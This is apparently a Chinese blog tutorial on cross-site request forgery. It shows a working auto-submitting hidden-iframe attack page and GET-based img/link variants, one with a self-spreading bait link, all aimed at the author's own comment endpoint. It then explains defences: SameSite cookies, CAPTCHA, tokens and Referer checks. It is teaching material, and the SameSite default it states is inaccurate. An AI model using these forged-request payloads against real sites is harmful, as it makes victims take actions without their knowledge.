CSRF

全称:Cross Site Request Forgy 、跨站请求伪造 。是其他网站对目标网站发出了请求、在用户不知情的情况完成的。

前端代码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=11,IE=10,IE=9,IE=8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0">
<meta name="apple-mobile-web-app-title" content="">
<link rel="stylesheet" id="wpsm_tabs_r_bootstrap-front-css"  href="" type="text/css"  />
<script type="text/javascript" src=""></script>
<link rel="shortcut icon" href="favicon.ico">
<meta name="keywords" content="">
<meta name="description" content="">
<title>demo</title>

</head>
<body>

</body>
<script>
    document.write(`
    <form name="commit" target="csrf" action="http://dong.li.cn/post/addComment" method="post">
    <input type="hidden" name="postId" value="13">
    <textarea name="content">来自CSRF!</textarea>
</form>
    `);

    var iframe=document.createElement('iframe');
    iframe.name = 'csrf';
    iframe.style.display='none';
    document.body.appendChild(iframe);
    setTimeout(function (){
        document.querySelector('[name=commit]').submit();
    },1000);
</script>
</html>

核心是在于一个iframe标签 from中target=”csrf’ 是指向iframe标签、iframe隐藏因此看不见任何操作

图

由于我指向了一个我本地域名中未知的URL所以、在在控制台中看见的是无法加载控制器POST、虽然显示了报错信息、但也成功提交了数据。如果是合法的那么应该是提交成功了。

如果是GET那么更简单、可能直接发送个请求就可以

例子: <a href='http://dong.li.cn/post/addComment?postId=13&content=什么'></a>

例子:<img src='http://dong.li.cn/post/addComment?postId=13&content=什么'/>

例子变种:<img src='http://dong.li.cn/post/addComment?postId=13&content=<a href=''>点我有钱那</a>'/>

如果说、成功的提交了评论里面、评论里面有点击那么这样会无限中招

图

图

图

CSRF防御

CSRF防御之cookie属性SameSite

<?php
header('Set-cookie:test=123456; SameSite=Lax');
//setCookie();这个函数没有SameSite属性 而且并不好用

SameSite-cookies是一种机制,用于定义cookie如何跨域发送。这是谷歌开发的一种安全机制,并且现在在最新版本(Chrome Dev 51.0.2704.4)中已经开始实行了。SameSite-cookies的目的是尝试阻止CSRF(Cross-site request forgery 跨站请求伪造)以及XSSI(Cross Site Script Inclusion (XSSI) 跨站脚本包含)攻击。

SameSite-cookies之前一直受到广大安全研究人员的关注,现在它终于在Chrome-dev上工作了,这是一个好消息。这意味着如果你有一个使用cookies的网站,你应该开始支持SameSite-cookies。事实上,这非常容易。你只需要在Set-Cookie中添加一个SameSite属性。需要注意的是,SameSite需要一个值(如果没有设置值,默认是Strict),值可以是Lax或者Strict。你可以在草案中阅读这些属性的相关定义,但这里我会简单解释几种常见的属性,这样叫你就可以很容易的理解它们是如何工作的。

使用语法是SameSite=, 例如SameSite=Lax

Strict

Strict是最严格的防护,有能力阻止所有CSRF攻击。然而,它的用户友好性太差,因为它可能会将所有GET请求进行CSRF防护处理。

例如:一个用户在reddit.com点击了一个链接(GET请求),这个链接是到facebook.com的,而假如facebook.com使用了Samesite-cookies并且将值设置为了Strict,那么用户将不能登陆Facebook.com,因为在Strict情况下,浏览器不允许将cookie从A域发送到B域。

Lax

Lax(relax的缩写)属性只会在使用危险HTTP方法发送跨域cookie的时候进行阻止,例如POST方式。

例1:一个用户在reddit.com点击了一个链接(GET请求),这个链接是到facebook.com的,而假如facebook.com使用了Samesite-cookies并且将值设置为了Lax,那么用户可以正常登录facebok.com,因为浏览器允许将cookie从A域发送到B域。

例2:一个用户在reddit.com提交了一个表单(POST请求),这个表单是提交到facebook.com的,而假如facebook.com使用了Samesite-cookies并且将值设置为了Lax,那么用户将不能正常登陆Facebook.com,因为浏览器不允许使用POST方式将cookie从A域发送到B域。

注意
根据草案中所说,Lax并没有充分防止CSRF和XSSI攻击。但我还是建议先使用Lax进行一个较好的CSRF攻击缓解措施,之后再考虑是否使用Strict。

同时,需要注意,不要将所有的cookie都设置SameSite属性,因为不同的cookie有不同的用途,如果你的网站使用有会话cookie,它可以被设置为Lax属性;其他的可以设置为Strict属性。这可能是一种合适的方式。

CSRF防御之验证码

因为CSRF攻击中是不经过攻击网站的前端的、那么可以在本网站前端中进行防御。

例如:验证码 和 token。

在后端用PHP的类库进行验证码的验证。CSRF攻击页面没有验证码或验证码不可能和被攻击网站的验证码一致的。通过验证码进行防御。

缺点:需要用户进行输入、容易出错。

CSRF防御之token

原理:在前端页面表单中生成token、并在cookie或缓存中存入token。因为不经过被攻击网站的前端是无法知道表单的token。所以达到防御的目的。一份表单、一份cookie或缓存中

注意:由于这样非常可能会出现。只有最后一个打开的表单网页可以正确提交。在那之前打开的网页,提交失效。因为cookie中之会生成一个token所以会失败。如果用缓存并合理储存可能没有问题。

CSRF防御之http_referer

原理:在请求中会带来源网址。只要和本网站域名一致就可以过。但有的浏览器是可以设置没有referer的所以取舍要看自己。

if($_SERVER['HTTP_REFERER']){
    $isLegal=strpos($_SERVER['HTTP_REFERER'],'https://blog.solo90.com/')===0;
}
Last modification:January 22, 2020
如果觉得我的文章对你有用,请随意赞赏